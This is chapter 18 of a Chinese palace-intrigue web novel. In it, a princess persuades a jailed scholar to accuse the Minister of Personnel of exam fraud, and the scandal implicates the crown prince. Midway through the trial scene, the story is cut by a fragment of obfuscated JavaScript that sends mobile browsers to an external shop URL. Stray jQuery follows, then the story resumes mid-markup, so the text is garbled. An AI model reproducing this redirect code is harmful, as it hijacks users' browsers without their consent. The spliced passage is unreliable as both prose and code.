18. 一箭双雕

作品:《我帮死对头抢皇位

    夜晚,天牢


    天牢深处,何文轩一身深蓝官服,提着灯笼走进牢房,两名狱卒恭敬地守在门外。


    “张明远?”何文轩的声音在空旷的牢房中回响。


    张明远警惕地看着来人,没有答话。


    何文轩也不介意,将灯笼挂在墙上,掏出一块干净手帕铺在破木凳上,从容坐下:“我是刑部员外郎何文轩,来问你几句话。”


    “想问我什么?”他的声音沙哑。


    “问你愿不愿意将功折罪。”何文轩开门见山,“你夹带舞弊,证据确凿,按律当削去功名,流放三千里。”


    何文轩压低声音,“但此事并不是没有转圜的余地,你只是年轻气盛,受人蛊惑。”


    “是你放的纸条,陷害我。”张明远恍然大悟。


    “别。”何文轩摆摆手,我可没有这么大的本事。”说罢,他摸了摸腰间的玉珠,上面刻着谢家的族徽。


    张明远了然,“你是谢家的人?”随即嗤笑一声,“一个谢家,还不足以让我站边。”


    “是吗?”何文轩笑笑,“是因为安王给了你更大的好处?”


    张明远立刻警觉,撇过脸去,“什么安王,我不知道。”


    “是吗,我怎么听说,安王救过你的命,你为了报恩,为他做事,我还听说,安王似乎,剑指中宫!”


    张明远猛然抬头,目光紧紧盯着何文轩,何文轩看着张文远,笑道,“别这么紧张嘛,聊聊?”


    “你到底是谁的人?你不单单是谢家的人,以谢家的能力,不足以查到这些!”张明远看向何文轩。


    何文轩不知可否。


    “我要见你背后的人,见到他之前,我什么都不会说。”张明远说道。


    “好吧,”何文轩起身,“明日戌时,她来见你。”说罢,离开牢房。


    第二日戌时,天牢


    一辆不起眼的青布马车悄悄驶入。李环在何文轩的引导下,来到关押张明远的牢房。


    见李环进来,他起身行礼:“公主殿下。”


    “你好像,一点也不惊讶。”李环看着张明远说道。


    “呵,”张明远苦笑一声,“再蠢也该猜到了。”


    李环在桌边坐下:“张公子想好了?”


    “你们想知道什么?”


    “你能说些什么?”


    张明远愣了愣,“我能说的,你们全都已经知道了。”


    “是吗?”李环笑道,“我不这么认为,我想给你一个机会,一个活命的机会。”


    张明远苦笑:“机会?什么机会?让我指证安王吗?你们也太小看我了,我是不会背叛安王的。”


    “谁说让你指证安王了?”李环微微一笑,“安王是皇叔,身份尊贵,没有铁证,谁敢动他?本宫让你指证的,是吏部尚书周文远。”


    张明远愣住了:“周大人?”


    “正是。春闱内定名单之事,你该知道吧?周文远身为吏部尚书,掌管科举,却与太子勾结,私定上榜名单。”


    张明远沉默,他当然知道内定名单的事。


    “本宫的意思是,”李环继续道,“只要你愿意指证周文远,承认是他指使你在春闱中舞弊,本宫便可保你无事。不但免你流放之罪,还可保你顺利离开京城,从此隐姓埋名,安稳度日。”


    “所有的证据以备好,只欠你这一缕东风。”


    “好。”沉默半响,张明远说道。


    李环看着他,突然说道,“你身为读书人,自然熟知圣贤的道理,你真的忍心看到安王起兵,天下陷入战火,百姓民不聊生吗?”


    张明远沉默着,没有回答,良久,他突然轻笑一声,“殿下知道我为什么对安王死心塌地吗?”


    李环沉默着,没有回答。


    “那时,我只有十二岁,”张明远陷入回忆,“父母双亡,族中长辈看不起我,将我赶出家门,流落街头,江南的冬天真得很冷,湿气和寒风一起侵入身体,我冻得昏厥过去。”


    “是安王救了我,他不仅救了我,还供我读书,他没有看不起我,还对我委以重任,给予我前所未有的尊严与信任,他于我,如同再生父母。”


    “所以,你选择包庇他。”李环说道。


    “我自然知道圣贤的道理,忠君爱国,心怀苍生,”张明远自顾自到,“那也是我的理想,我想,这是每一个读书人的理想。”张明远看向李环。


    “所以,我不会向你透露更多有关安王的信息,因为我感念他的知遇之恩,但我也不能背弃我的理想和信仰,所以,在帮殿下扳倒周大人之后,我会自尽,已全理想。”


    张明远静静看向李环,眼神复杂,却有光亮,“殿下,我希望你赢。”


    李环下意识双手握紧,目光陡然凌厉,看向张明远。他笑了笑,“我也不傻,看得出来,殿下想要的,从来都是至尊之位。”


    “黄河治水,立下奇功;岭南查案,抽丝剥茧,仅凭一些残缺模糊的信息,就能推断出安王的谋划,还有开通商道,连接南北;恩准商贾之后,入朝为官,制衡世家。”


    “想要办成这些事,其中的能力,可想而知。殿下的能力,远超太子。”


    李环静静地看着张明远,良久,感叹道,“多智近妖,可惜……”


    刑部,大堂


    公堂之上,主审官严正端坐,左右陪审官员神色肃穆。堂下,张明远跪在左侧,周文远站在右侧,面色苍白。


    “张明远,”主审官沉声问道,“你于春闱中夹带舞弊,证据确凿。本官问你,这纸条从何而来?可是你事先准备?”


    张明远叩首:“回大人,纸条非罪民准备,是吏部周尚书周大人交给罪民的。”


    堂上一片哗然。周文远猛地抬头,怒道:“胡说!本官何时给过你纸条?你休要血口喷人!”


    “肃静!”主审官一拍惊堂木,“张明远,你且详细道来。”


    张明远深吸一口气,按照李环教的说辞道:“春闱前三日,周大人密召罪民至府中,交给罪民这份纸条,说上面是可能考到的时文佳作。周大人说,只要罪民考中进士,便在吏部为罪民安排职位,保罪民青云直上。”


    “荒谬!”周文远气得浑身发抖,“本官与你素不相识,为何要帮你?你有何证据?”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137523|195995||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“罪民有证据。”张明远从怀中取出一块玉佩,“这是周大人当日所赠,说是信物。罪民还知道,周大人与太子殿下拟定的春闱内定名单,共有十人,其中七人是太子门人,三人是王家姻亲子弟。”


    这话一出,堂上更是震动。内定名单的事,在场官员多少有所耳闻,但从未有人敢公开说出来。如今张明远不仅说出,还点明各人背景,显然不是凭空捏造。


    主审官脸色凝重:“周大人,对此你有何解释?”


    周文远冷汗涔涔,脑中飞快思索:张明远说的玉佩,确实是他府中之物,但何时到了张明远手中,他毫无头绪。


    至于内定名单,更是致命——张明远连具体人数和背景都知道,显然背后有人指使,而且那人掌握着确凿证据。


    他忽然想起沈府那封密信,一个可怕的猜测浮上心头:这一切,都是国公布的局!不,他们之间无冤无仇,除非……


    “周大人?”主审官催促。


    周文远咬咬牙,扑通一声跪下:“下官知罪!下官一时糊涂,给了张明远那张纸条。但下官从不知道内定名单。”


    他这半真半假的认罪,让堂上再次哗然。承认指使舞弊,但否认内定名单,这是弃车保帅——牺牲自己,保住太子。


    主审官与左右陪审官员交换眼色,心中明白此案已不是简单的科举舞弊,而是涉及储君之争。


    他沉吟片刻,道:“此案案情重大,本官需禀明圣上,再做决断。将张明远还押,周文远暂且软禁府中,不得离京。”


    养心殿内,盛暄帝靠在龙榻上,咳嗽不止。听完严正的禀报,他闭目良久,才缓缓睁开眼:“太子也牵扯其中?”


    主审官跪在地上,不敢抬头:“张明远供称如此,周文远也承认指使舞弊,但内定名单一事,周文远坚称不知情。”


    “拟名单与指使舞弊,有区别吗?”盛暄帝冷笑,“都是败坏科举,结党营私!去,传太子来见朕!”


    半个时辰后,太子李瑾匆匆入宫,一见皇帝脸色,便知大事不好,连忙跪下:“儿臣参见父皇。”


    盛暄帝将一份奏折扔到他面前:“你自己看!”


    李瑾捡起奏折,越看脸色越白。那上面不仅详细记录了春闱舞弊案的审理经过,还附有张明远的供词和周文远的认罪书。


    “父皇,儿臣冤枉!”李瑾叩首道,“儿臣确实让周文远留意人才,但绝未让他拟定什么内定名单,更未指使舞弊!这都是周文远擅自为之,与儿臣无关啊!”


    “与你无关?”盛暄帝气得咳嗽起来,“周文远是你的人吧,他做的事,你敢说完全不知?李瑾啊李瑾,朕还没死呢,你就急着结党营私,安插人手,你想干什么?”


    “儿臣不敢!”李瑾额头触地,“儿臣只是想为朝廷选拔人才。”


    “选拔人才?”盛暄帝猛地拍床,“通过舞弊和内定?李瑾,你太让朕失望了!”


    他剧烈咳嗽起来,德清公公连忙上前伺候。良久,盛暄帝才缓过气,疲惫地摆摆手:“你回去吧。此事,朕自有处置。”


    李瑾还想辩解,见皇帝闭上眼睛,只得悻悻退下。